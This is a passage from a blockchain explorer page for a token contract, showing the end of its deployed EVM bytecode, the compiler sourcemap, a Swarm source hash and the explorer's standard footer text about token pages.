b8181101561102c57858101830151858201604001528201611010565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107f5575f80fd5b5f8060408385031215611071575f80fd5b823561107c8161104c565b946020939093013593505050565b5f805f6060848603121561109c575f80fd5b83356110a78161104c565b925060208401356110b78161104c565b929592945050506040919091013590565b5f80604083850312156110d9575f80fd5b50508035926020909101359150565b5f602082840312156110f8575f80fd5b8135610ffa8161104c565b5f8060408385031215611114575f80fd5b823561111f8161104c565b9150602083013561112f8161104c565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561043f5761043f61113a565b5f60208284031215611171575f80fd5b8151610ffa8161104c565b5f805f6060848603121561118e575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561043f5761043f61113a565b808202811582820484141761043f5761043f61113a565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156112335784516001600160a01b03168352938301939183019160010161120e565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261126e57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220c7204d2af7720807c2ea68ee1930163e64705e6e57b5ba3a39a5c35e5587276164736f6c63430008140033

Deployed Bytecode Sourcemap

4176:7003:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5625:83;;;;;;;;;;-1:-1:-1;5695:5:0;;;;;;;;;;;;-1:-1:-1;;;5695:5:0;;;;5625:83;;;;;;;:::i;:::-;;;;;;;;6535:193;;;;;;;;;;-1:-1:-1;6535:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6535:193:0;1023:187:1;5902:100:0;;;;;;;;;;-1:-1:-1;4412:16:0;5902:100;;;1361:25:1;;;1349:2;1334:18;5902:100:0;1215:177:1;6736:350:0;;;;;;;;;;-1:-1:-1;6736:350:0;;;;;:::i;:::-;;:::i;5811:83::-;;;;;;;;;;-1:-1:-1;5811:83:0;;4570:2;2000:36:1;;1988:2;1973:18;5811:83:0;1858:184:1;8176:199:0;;;;;;;;;;-1:-1:-1;8176:199:0;;;;;:::i;:::-;;:::i;:::-;;6010:118;;;;;;;;;;-1:-1:-1;6010:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;6103:17:0;6076:7;6103:17;;;:8;:17;;;;;;;6010:118;1674:140;;;;;;;;;;;;;:::i;8383:89::-;;;;;;;;;;;;;:::i;7475:604::-;;;;;;;;;;;;;:::i;1408:79::-;;;;;;;;;;-1:-1:-1;1446:7:0;1473:6;-1:-1:-1;;;;;1473:6:0;1408:79;;;-1:-1:-1;;;;;2716:32:1;;;2698:51;;2686:2;2671:18;1408:79:0;2552:203:1;5716:87:0;;;;;;;;;;-1:-1:-1;5788:7:0;;;;;;;;;;;;-1:-1:-1;;;5788:7:0;;;;5716:87;;6136:199;;;;;;;;;;-1:-1:-1;6136:199:0;;;;;:::i;:::-;;:::i;4821:29::-;;;;;;;;;;;;;;;;4486:41;;;;;;;;;;;;;;;;4786:28;;;;;;;;;;;;;;;;4435:44;;;;;;;;;;;;;;;;8091:77;;;;;;;;;;;;;:::i;6343:184::-;;;;;;;;;;-1:-1:-1;6343:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6492:18:0;;;6460:7;6492:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6343:184;1822:109;;;;;;;;;;-1:-1:-1;1822:109:0;;;;;:::i;:::-;;:::i;4692:87::-;;;;;;;;;;-1:-1:-1;4692:87:0;;;;-1:-1:-1;;;;;4692:87:0;;;4888:29;;;;;;;;;;-1:-1:-1;4888:29:0;;;;;;;;;;;6535:193;6637:4;6659:39;317:10;6682:7;6691:6;6659:8;:39::i;:::-;-1:-1:-1;6716:4:0;6535:193;;;;;:::o;6736:350::-;6868:4;6885:36;6895:6;6903:9;6914:6;6885:9;:36::i;:::-;-1:-1:-1;;;;;7003:19:0;;;;;;:11;:19;;;;;;;;317:10;7003:33;;;;;;;;;6932:124;;6955:6;;7003:42;;7039:6;;7003:42;:::i;:::-;6932:8;:124::i;:::-;-1:-1:-1;7074:4:0;6736:350;;;;;:::o;8176:199::-;1614:4;1652:6;-1:-1:-1;;;;;1652:6:0;1638:10;:20;1527:18;;;;;;8255:8:::1;:15:::0;;;8281:9:::1;:17:::0;;;8319:13;::::1;;8311:22;;;::::0;::::1;;8365:1;8352:9;;:14;;8344:23;;;::::0;::::1;;8176:199:::0;;:::o;1674:140::-;1614:4;1652:6;-1:-1:-1;;;;;1652:6:0;1638:10;:20;1527:18;;;;;;1773:1:::1;1757:6:::0;;1736:40:::1;::::0;-1:-1:-1;;;;;1757:6:0;;::::1;::::0;1736:40:::1;::::0;1773:1;;1736:40:::1;1804:1;1787:19:::0;;-1:-1:-1;;;;;;1787:19:0::1;::::0;;1674:140::o;8383:89::-;1614:4;1652:6;-1:-1:-1;;;;;1652:6:0;1638:10;:20;1527:18;;;;;;4412:16:::1;8437:12;:27:::0;8383:89::o;7475:604::-;1614:4;1652:6;-1:-1:-1;;;;;1652:6:0;1638:10;:20;1527:18;;;;;;7553:4:::1;7533:26;::::0;;;:11:::1;:26;::::0;;;;;;;7568:15:::1;-1:-1:-1::0;;;;;7533:52:0::1;::::0;;;;;;;;;;-1:-1:-1;;7533:72:0;;7652:25;;-1:-1:-1;;;7652:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;7533:26;;7652:25;;;;;;7533:52;7652:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7634:113;::::0;-1:-1:-1;;;7634:113:0;;7712:4:::1;7634:113;::::0;::::1;4110:34:1::0;-1:-1:-1;;;;;7732:4:0::1;4180:15:1::0;;4160:18;;;4153:43;7634:55:0;;;::::1;::::0;::::1;::::0;4045:18:1;;7634:113:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7618:13;:129:::0;;-1:-1:-1;;;;;;7618:129:0::1;-1:-1:-1::0;;;;;7618:129:0;;;::::1;::::0;;;::::1;::::0;;7853:4:::1;-1:-1:-1::0;6103:17:0;;;:8;:17;;;;;;7780:21:::1;::::0;7812:47:::1;7872:15;-1:-1:-1::0;;;;;7872:31:0::1;;7911:9;7944:4;7964:12;7991:1;8007::::0;8023:7:::1;1446::::0;1473:6;-1:-1:-1;;;;;1473:6:0;;1408:79;8023:7:::1;7872:199;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7872:199:0;;;-1:-1:-1;;;;;4566:15:1;;;7872:199:0::1;::::0;::::1;4548:34:1::0;4598:18;;;4591:34;;;;4641:18;;;4634:34;;;;4684:18;;;4677:34;4748:15;;;4727:19;;;4720:44;8045:15:0::1;4780:19:1::0;;;4773:35;4482:19;;7872:199:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7522:557;;7475:604::o:0;6136:199::-;6241:4;6263:42;317:10;6287:9;6298:6;6263:9;:42::i;8091:77::-;1614:4;1652:6;-1:-1:-1;;;;;1652:6:0;1638:10;:20;1527:18;;;;;;8144:9:::1;:16:::0;;-1:-1:-1;;8144:16:0::1;;;::::0;;8091:77::o;1822:109::-;1614:4;1652:6;-1:-1:-1;;;;;1652:6:0;1638:10;:20;1527:18;;;;;;1895:28:::1;1914:8;1895:18;:28::i;:::-;1822:109:::0;:::o;7094:369::-;-1:-1:-1;;;;;7221:19:0;;7213:68;;;;-1:-1:-1;;;7213:68:0;;5332:2:1;7213:68:0;;;5314:21:1;5371:2;5351:18;;;5344:30;5410:34;5390:18;;;5383:62;-1:-1:-1;;;5461:18:1;;;5454:34;5505:19;;7213:68:0;;;;;;;;;-1:-1:-1;;;;;7300:21:0;;7292:68;;;;-1:-1:-1;;;7292:68:0;;5737:2:1;7292:68:0;;;5719:21:1;5776:2;5756:18;;;5749:30;5815:34;5795:18;;;5788:62;-1:-1:-1;;;5866:18:1;;;5859:32;5908:19;;7292:68:0;5535:398:1;7292:68:0;-1:-1:-1;;;;;7371:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7423:32;;1361:25:1;;;7423:32:0;;1334:18:1;7423:32:0;;;;;;;7094:369;;;:::o;8480:2661::-;-1:-1:-1;;;;;8602:18:0;;8594:68;;;;-1:-1:-1;;;8594:68:0;;6140:2:1;8594:68:0;;;6122:21:1;6179:2;6159:18;;;6152:30;6218:34;6198:18;;;6191:62;-1:-1:-1;;;6269:18:1;;;6262:35;6314:19;;8594:68:0;5938:401:1;8594:68:0;8689:9;;;;;;;;:30;;-1:-1:-1;;;;;;8702:17:0;;;;;;:11;:17;;;;;;;;8689:30;:49;;;-1:-1:-1;;;;;;8723:15:0;;;;;;:11;:15;;;;;;;;8689:49;8681:73;;;;-1:-1:-1;;;8681:73:0;;6546:2:1;8681:73:0;;;6528:21:1;6585:2;6565:18;;;6558:30;-1:-1:-1;;;6604:18:1;;;6597:41;6655:18;;8681:73:0;6344:335:1;8681:73:0;-1:-1:-1;;;;;8825:17:0;;8775:12;8825:17;;;:11;:17;;;;;;8775:12;;8825:17;;;:36;;-1:-1:-1;;;;;;8846:15:0;;;;;;:11;:15;;;;;;;;8825:36;8821:1727;;;-1:-1:-1;8885:1:0;8821:1727;;;8925:6;;;;;:11;8921:229;;-1:-1:-1;;;;;8992:14:0;;;;;;:8;:14;;;;;:24;;9010:6;;8992:14;:24;;9010:6;;8992:24;:::i;:::-;;;;-1:-1:-1;;;;;;;9035:12:0;;;;;;:8;:12;;;;;:22;;9051:6;;9035:12;:22;;9051:6;;9035:22;:::i;:::-;;;;;;;;9098:2;-1:-1:-1;;;;;9083:26:0;9092:4;-1:-1:-1;;;;;9083:26:0;;9102:6;9083:26;;;;1361:25:1;;1349:2;1334:18;;1215:177;9083:26:0;;;;;;;;9128:7;;8480:2661;;;:::o;8921:229::-;9178:13;;-1:-1:-1;;;;;9178:13:0;;;9170:21;;;;9166:1371;;-1:-1:-1;9219:8:0;;-1:-1:-1;;;;;9251:17:0;;;;;;:11;:17;;;;;;;;9250:18;;:38;;-1:-1:-1;;;;;;9273:15:0;;;;;;:11;:15;;;;;;;;9272:16;9250:38;9246:137;;;9350:12;;9321:25;9339:6;9321:13;9331:2;-1:-1:-1;;;;;6103:17:0;6076:7;6103:17;;;:8;:17;;;;;;;6010:118;9321:13;:17;;:25::i;:::-;:41;;9313:50;;;;;;9166:1371;;;9414:13;;-1:-1:-1;;;;;9414:13:0;;;9408:19;;;;9404:1133;;-1:-1:-1;;;;;9452:17:0;;;;;;:11;:17;;;;;;;;9448:37;;;9481:4;9471:14;;9448:37;9541:4;9504:17;9524:23;;;:8;:23;;;;;;9582:12;;:19;;9597:4;9582:19;:::i;:::-;9570:9;:31;9566:68;;;9615:12;;:19;;9630:4;9615:19;:::i;:::-;9603:31;;9566:68;9669:12;;9657:9;:24;:49;;;;;9694:12;;9685:6;:21;9657:49;:64;;;;-1:-1:-1;9710:6:0;;;;:11;9657:64;9653:783;;;9746:6;:10;;-1:-1:-1;;9746:10:0;9755:1;9746:10;;;9805:16;;;9819:1;9805:16;;;;;;;;-1:-1:-1;;9805:16:0;;;;;;;;;;-1:-1:-1;9805:16:0;9781:40;;9862:4;9844;9849:1;9844:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;9844:23:0;;;-1:-1:-1;;;;;9844:23:0;;;;;9900:4;9890;9895:1;9890:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9890:14:0;;;:7;;;;;;;;;:14;9927:316;;-1:-1:-1;;;9927:316:0;;:15;:92;;;;;;:316;;10050:9;;10090:1;;10122:4;;10165;;10201:15;;9927:316;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;10345:10:0;;10337:44;;10293:21;;-1:-1:-1;;;;;;10345:10:0;;;;-1:-1:-1;10337:44:0;;;;;10293:21;;10268:22;10337:44;10268:22;10337:44;10293:21;10345:10;10337:44;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;10406:6:0;:10;;-1:-1:-1;;10406:10:0;;;-1:-1:-1;9653:783:0;-1:-1:-1;;10461:9:0;;9404:1133;;;-1:-1:-1;10520:1:0;9404:1133;10572:9;;10568:566;;10598:17;10636:3;10619:13;10628:4;10619:6;:13;:::i;:::-;10618:21;;;;:::i;:::-;10598:41;-1:-1:-1;10654:19:0;10676:18;10598:41;10676:6;:18;:::i;:::-;10654:40;;10712:7;10709:28;;;10721:16;10731:6;;10721:16;:::i;:::-;;;10709:28;-1:-1:-1;;;;;10752:14:0;;;;;;:8;:14;;;;;:24;;10770:6;;10752:14;:24;;10770:6;;10752:24;:::i;:::-;;;;-1:-1:-1;;;;;;;10791:12:0;;;;;;:8;:12;;;;;:27;;10807:11;;10791:12;:27;;10807:11;;10791:27;:::i;:::-;;;;-1:-1:-1;;10850:4:0;10833:23;;;;:8;:23;;;;;:36;;10860:9;;10833:23;:36;;10860:9;;10833:36;:::i;:::-;;;;-1:-1:-1;;10889:40:0;;1361:25:1;;;10912:4:0;;-1:-1:-1;;;;;10889:40:0;;;;;1349:2:1;1334:18;10889:40:0;;;;;;;10964:2;-1:-1:-1;;;;;10949:31:0;10958:4;-1:-1:-1;;;;;10949:31:0;;10968:11;10949:31;;;;1361:25:1;;1349:2;1334:18;;1215:177;10949:31:0;;;;;;;;10583:409;;10568:566;;;-1:-1:-1;;;;;11013:14:0;;;;;;:8;:14;;;;;:24;;11031:6;;11013:14;:24;;11031:6;;11013:24;:::i;1939:187::-;-1:-1:-1;;;;;2013:22:0;;2005:31;;;;;;2073:6;;;2052:38;;-1:-1:-1;;;;;2052:38:0;;;;2073:6;;;2052:38;;;2101:6;:17;;-1:-1:-1;;;;;;2101:17:0;-1:-1:-1;;;;;2101:17:0;;;;;;;;;;1939:187::o;2161:181::-;2219:7;;2251:5;2255:1;2251;:5;:::i;:::-;2239:17;;2280:1;2275;:6;;2267:46;;;;-1:-1:-1;;;2267:46:0;;8660:2:1;2267:46:0;;;8642:21:1;8699:2;8679:18;;;8672:30;8738:29;8718:18;;;8711:57;8785:18;;2267:46:0;8458:351:1;2267:46:0;2333:1;2161:181;-1:-1:-1;;;2161:181:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:248::-;2115:6;2123;2176:2;2164:9;2155:7;2151:23;2147:32;2144:52;;;2192:1;2189;2182:12;2144:52;-1:-1:-1;;2215:23:1;;;2285:2;2270:18;;;2257:32;;-1:-1:-1;2047:248:1:o;2300:247::-;2359:6;2412:2;2400:9;2391:7;2387:23;2383:32;2380:52;;;2428:1;2425;2418:12;2380:52;2467:9;2454:23;2486:31;2511:5;2486:31;:::i;2760:388::-;2828:6;2836;2889:2;2877:9;2868:7;2864:23;2860:32;2857:52;;;2905:1;2902;2895:12;2857:52;2944:9;2931:23;2963:31;2988:5;2963:31;:::i;:::-;3013:5;-1:-1:-1;3070:2:1;3055:18;;3042:32;3083:33;3042:32;3083:33;:::i;:::-;3135:7;3125:17;;;2760:388;;;;;:::o;3377:127::-;3438:10;3433:3;3429:20;3426:1;3419:31;3469:4;3466:1;3459:15;3493:4;3490:1;3483:15;3509:128;3576:9;;;3597:11;;;3594:37;;;3611:18;;:::i;3642:251::-;3712:6;3765:2;3753:9;3744:7;3740:23;3736:32;3733:52;;;3781:1;3778;3771:12;3733:52;3813:9;3807:16;3832:31;3857:5;3832:31;:::i;4819:306::-;4907:6;4915;4923;4976:2;4964:9;4955:7;4951:23;4947:32;4944:52;;;4992:1;4989;4982:12;4944:52;5021:9;5015:16;5005:26;;5071:2;5060:9;5056:18;5050:25;5040:35;;5115:2;5104:9;5100:18;5094:25;5084:35;;4819:306;;;;;:::o;6684:125::-;6749:9;;;6770:10;;;6767:36;;;6783:18;;:::i;6814:168::-;6887:9;;;6918;;6935:15;;;6929:22;;6915:37;6905:71;;6956:18;;:::i;7119:127::-;7180:10;7175:3;7171:20;7168:1;7161:31;7211:4;7208:1;7201:15;7235:4;7232:1;7225:15;7251:980;7513:4;7561:3;7550:9;7546:19;7592:6;7581:9;7574:25;7618:2;7656:6;7651:2;7640:9;7636:18;7629:34;7699:3;7694:2;7683:9;7679:18;7672:31;7723:6;7758;7752:13;7789:6;7781;7774:22;7827:3;7816:9;7812:19;7805:26;;7866:2;7858:6;7854:15;7840:29;;7887:1;7897:195;7911:6;7908:1;7905:13;7897:195;;;7976:13;;-1:-1:-1;;;;;7972:39:1;7960:52;;8067:15;;;;8032:12;;;;8008:1;7926:9;7897:195;;;-1:-1:-1;;;;;;;8148:32:1;;;;8143:2;8128:18;;8121:60;-1:-1:-1;;;8212:3:1;8197:19;8190:35;8109:3;7251:980;-1:-1:-1;;;7251:980:1:o;8236:217::-;8276:1;8302;8292:132;;8346:10;8341:3;8337:20;8334:1;8327:31;8381:4;8378:1;8371:15;8409:4;8406:1;8399:15;8292:132;-1:-1:-1;8438:9:1;;8236:217::o

Swarm Source

ipfs://c7204d2af7720807c2ea68ee1930163e64705e6e57b5ba3a39a5c35e55872761
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.